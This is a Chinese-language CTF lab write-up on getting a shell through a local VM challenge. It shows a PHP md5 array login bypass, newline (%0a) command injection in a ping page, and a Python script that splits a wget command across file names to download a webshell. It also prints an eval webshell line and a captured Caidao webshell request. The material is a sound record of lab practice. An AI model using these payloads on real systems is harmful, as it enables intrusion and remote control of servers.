利用文件名进行GetShell---CTF题目的相关知识解析

来源:互联网 发布:性别角色知乎 编辑:程序博客网 时间:2024/06/05 16:16

0x00 环境

今天白老师扔给我了一个虚拟机,里面有4道CTF的相关网站,我检视了一在/va/www目录下主要有四个文件夹,映射到了8081-8084四个端口。还有一个struts的漏洞测试环境。


随后找了一个看似比较简单的题目尝试一下,解题之前我比较好奇是如何映射的端口,过程不表。

8081-8084是通过apache服务器进行的映射。配置文件位于/etc/apache2/ports.conf,关键点在下图中的四个listen


apache监听后设置虚拟机的虚拟端口,配置文件可以从ports.conf文件中获取。


<VirtualHost *:8081>
        ServerAdmin webmaster@localhost
DocumentRoot /var/www/8081
        <Directory "/var/www/8081">
                Options Indexes FollowSymLinks
                AllowOverride All
                AllowOverride All
                Order allow,deny
                Allow from all
        </Directory>
</VirtualHost>
<VirtualHost *:8082>
        ServerAdmin webmaster@localhost
DocumentRoot /var/www/8082
        <Directory "/var/www/8082">
                Options Indexes FollowSymLinks
                AllowOverride All
                AllowOverride All
                Order allow,deny
                Allow from all
        </Directory>
</VirtualHost>


<VirtualHost *:8083>
        ServerAdmin webmaster@localhost
DocumentRoot /var/www/8083
        <Directory "/var/www/8083">
                Options Indexes FollowSymLinks
                AllowOverride All
                AllowOverride All
                Order allow,deny
                Allow from all
        </Directory>
</VirtualHost>


<VirtualHost *:8084>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/8084
        <Directory "/var/www/8084">
                Options Indexes FollowSymLinks
                AllowOverride All
                AllowOverride All
                Order allow,deny
                Allow from all
        </Directory>
</VirtualHost>


设置之后便可以对端口应用进行访问了。


0x01 登录绕过


回到CTF题目,直接访问界面如下:




经过测试,应用只包含一个登陆界面。一顿测试后未果。经过百度查找,发现原题是一个代码审计的题目,尴尬了,于是去后台查看代码

参考网站如下: http://www.moonsos.com/post/256.html 关键代码如下:

<?phpsession_start();error_reporting(0);include("config.php");header("Content-Type:text/html;charset=utf-8");function d_addslashes($array){    foreach($array as $key=>$value){        if(!is_array($value)){              !get_magic_quotes_gpc()&&$value=addslashes($value);              $array[$key]=$value;        }else{          $array[$key]=d_addslashes($array[$key]);        }    }    return $array;}$_POST = d_addslashes($_POST);$_GET =  d_addslashes($_GET);$username =isset($_POST['username'])?$_POST['username']:die();$password = isset($_POST['password'])?md5($_POST['password']):die();$sql="select password from users  where username='$username'";$result = $conn->query($sql);$row = $result->fetch_assoc();if($row[0] === $password){    $_SESSION['username']=$username;    $_SESSION['status']=1;    header("Location: index.php");}else{   die("<script>alert('用户名或密码错误!!')</script>");}?>


d_addslashes 函数相当于全局过滤,不存在注入漏洞、且数据库与web都是UTF-8编码,也不存在宽字节注入。根据提示,在$row[0] === $password处存在逻辑漏洞。


输入username为不存在用户时,$result为null,从而row[0]为null。password经过md5()函数处理,当参数不为string时会返回null,因此。设置参数“password=1”为“password[]=1”使MD5参数由本来的字符串变为数组即可。便可以绕过验证。


0x02 命令执行

验证通过后会跳转到一个展示页面,通过查看源代码,会发现存在ping.php在注释行当中,访问后,来到页面:


既然可以执行ping,那么很可能会存在命令注入。

页面对ip格式进行了正则匹配,最小长度输入为1.1.1.1。后面加入分隔符;& |等,无法正常执行命令,经过测试会发现,程序对& ; | ) ( ` $进行了过滤。但是没有对%0a进行过滤。尝试进行命令注入如下1.1.1.1%0awhoami


尝试写入最短的shell <?=`$_GET(1)`; 但是写入失败,1.1.1.1%0aecho+"shell <?=`$_GET(1)`; ">1.php提示长度错误。分开写的话还是无法成功。鼓捣了半天发现运行权限和文件权限不一样,(可以通过ls -la 和whoami判定)apache是www-data用户,文件夹属于ctf权限。后来发现upload文件夹是775,正好两个账户同属于ctf用户组。于是最小的命令为1.1.1.1%0aecho+"1">upload/1.php,显然还是超了。

后来查询资料,可以借鉴http://wonderkun.cc/index.html/?p=524的七个字符长度任意命令注入。总体思路是通过>xx创建空文件,把wget命令分段写入文件名中,再通过ls到bash脚本中执行wget从而getshell

当前题目与其不同的地方是当前目录无法写入,长度限制在8-25之间,需要写入js等子目录。于是通过修改上述代码,进行自动化写入:

# -*- coding UTF-8 -*-import requestsdef getshell():    uri = "http://192.168.1.101:8084/ping.php"    header = {        "Cookie": "PHPSESSID=6o7trs1airh18ea8s3u5npj626",        "Content-Type": "application/x-www-form-urlencoded"    }    download = ["1.php", "8083\ -O\ \\", "7.0.0.1:\\", "wget\ 12\\"]    proxy = {"http": "127.0.0.1:8080"}    for req in download:        base = "ip=1.1.1.1%0a>js\/"        data = base + req        requests.post(url=uri, data=data, headers=header, proxies=proxy)    sh = "ip=1.1.1.1%0als%20js%20-t>js\/1"    requests.post(url=uri, data=sh, headers=header, proxies=proxy)    download = "ip=1.1.1.1%0ash%20js\/1"    requests.post(url=uri, data=download, headers=header, proxies=proxy)    response = requests.get("http://192.168.1.108:8084/1.php")    if response.status_code == 200:        print("[*] getshell!!")    else:        print("[*] failed!")if __name__ == "__main__":    getshell()

运行脚本会得到一个1.php的webshell,使用菜刀进行连接。通过config.php获取数据库连接口令和账户,得到flag。

0x03 补充

中间遇到了很多问题,也get了一些知识点:

1、Linux文件名称中不能包含/,所以在远程服务器下载木马时无法使用wget xxxx/dir的形式,只能在访问index的时候自动下载目录。当前我能想到比较笨的方法是在index页面中写入如下代码:

<?phpecho("<?php @eval(\$_POST['as']);?>

其中$需要进行转义,否则无法正常打印


2、命令分隔如下:

wget 12\

7.0.0.1:\

8083 -O\

1.php

其中遇到一个大坑,参数应该是大写字母O,即下载内容另存为此文件名。小写的o代表过程信息记录到1.php中。


另外在解题过程中抓取了菜刀的报文,做个记录

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();&z1=/var/www/8084/assets/i/